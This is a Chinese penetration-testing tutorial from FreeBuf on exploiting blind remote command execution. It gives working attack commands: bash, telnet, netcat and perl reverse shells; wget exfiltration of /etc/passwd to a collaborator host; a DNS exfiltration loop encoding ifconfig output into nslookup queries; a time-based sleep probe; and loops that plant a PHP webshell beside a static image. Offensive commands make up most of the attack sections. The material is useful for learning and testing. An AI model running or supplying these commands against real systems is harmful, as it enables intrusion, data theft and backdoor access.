freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之RCE无回显利用方式
2023-11-03 14:56:30

前言

在测试的过程中,经常会遇到RCE漏洞没有回显的情况,这种不能直接在页面上看到命令执行的结果,本篇文章来看看遇到这种情况如何去利用。

由于本人水平有限,文章中可能会出现一些错误,欢迎各位大佬指正,感激不尽。如果有什么好的想法也欢迎交流~~

RCE无回显常见利用方式

  • 反弹shell
  • dnslog外带
  • http请求外带
  • 页面返回时间判断
  • 盲写webshell

1698994090_654497aa166ad57b1d4de.png!small?1698994090668

反弹shell

无回显的命令执行,最常见的方式就是反弹shell。因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

关于反弹shell,不同的操作系统反弹方式也是不同的,总体来说linux上比较简单,而win上则稍微麻烦一点。

在linux下可以使用下面的命令进行反弹shell

Bash反弹:
Bash反弹,远程主机监听端口:
nc -lvp 7777
被入侵的机器反弹shell命令如下:
bash -i >& /dev/tcp/IP/7777 0>&1

telnet反弹:
远程主机监听端口:
nc -lvvp 4444
nc -lvvp 5555
被入侵的机器反弹shell命令如下:
telnet IP 4444 | /bin/bash | telnet IP 5555

nc(netcat)反弹:
远程主机监听端口:
nc -lvvp 4444 
被入侵的机器反弹shell命令如下:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 4444 >/tmp/f

perl反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

win下的反弹shell可以看这篇文章:https://www.freebuf.com/articles/network/375572.html

http外带信息

可以使用wget或者curl命令去访问一个http服务,把要执行的命令隐藏在header头或者数据包的其它地方,在被访问的服务器中去查看该条日志。

如下:使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上,xargs echo代表去掉各个分隔符,换行符等符号输出

wget --header="User-Agent: $(cat /etc/passwd | xargs echo)" http://xxxx.burpcollaborator.net

此时就可以去查看web日志或者dnslog平台上的http请求记录,可以看到请求的数据包,数据包中就包含执行的命令。

1698994188_6544980cc9c7b313cca3c.png!small?1698994189668

DNSlog外带

有的服务器是不允许http协议访问外网的,但是一般不会对DNS协议做限制,可以使用DNSlog日志外带数据,缺点就是dnslog一般只能带出一条数据,需要对结果进行编码等操作。

dnslog就是我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断。

不同的操作系统对命令的解析方式不同

windows在命令上使用%     如 %variable%.dnslog.com    
linux上使用反引号  如 `variable`.dnslog.com

对命令进行编码

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done

如下面的操作

1698994277_654498659adbb5a2d9158.png!small?1698994278301

1698994283_6544986b993ed2c1fcad7.png!small?1698994284152

在win上常用的系统变量如下,可以先外带这些环境变量然后再进一步进行利用

//变量                 类型       描述
//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。
//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。
//%CD%                                                        本地       返回当前目录字符串。
//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%      系统       返回计算机的名称。
//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。
//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。
//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                         系统       指定可执行文件的搜索路径。
//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。
//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%           系统       返回处理器的版本号。
//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                       系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%           


        本地       返回包含用户帐户的域的名称。
//%USERNAME%                     本地       返回当前登录的用户的名称。
//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。
//%WINDIR%                       系统       返回操作系统目录的位置。

页面返回时间判断

无回显时还可以通过页面的返回时间来进行判断,一般我们在sql注入中经常见到这种方式,在RCE漏洞中也可以使用。

如下面的命令:

?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi

盲写webshell

如果上面的方式都不能用,我们也可以考虑盲写一个webshell。

我们知道webshell如果想要使用,就必须知道webshell的绝对路径,然后实际情况下我们往往不知道路径。那么此时要怎么去操作?

这里一个思路就是首先在系统中找到一个可以访问的静态资源,一般为图片,如flag.png,我们可以根据系统命令去查找这个文件所在的位置,然后将webshell写入到与此静态文件相同的目录中。

linux下盲写的命令

for i in `find /var -name "flag.png"`; do echo "text" >`realpath $i`flag.php; done

win下盲写命令

for /r C:\ %i in (flag.png) do @echo "test" > %i.php

如下图,可以往该目录下写入一个php文件

1698994388_654498d4892d402571504.png!small?1698994389181

总结

除了上面的一些常见的方式以外,还有其它的如ICMP协议外带等等,一般最常用的就是dnslog外带以及反弹shell。

参考链接

https://cloud.tencent.com/developer/article/1956480

https://www.freebuf.com/articles/network/321428.html

# 渗透测试 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录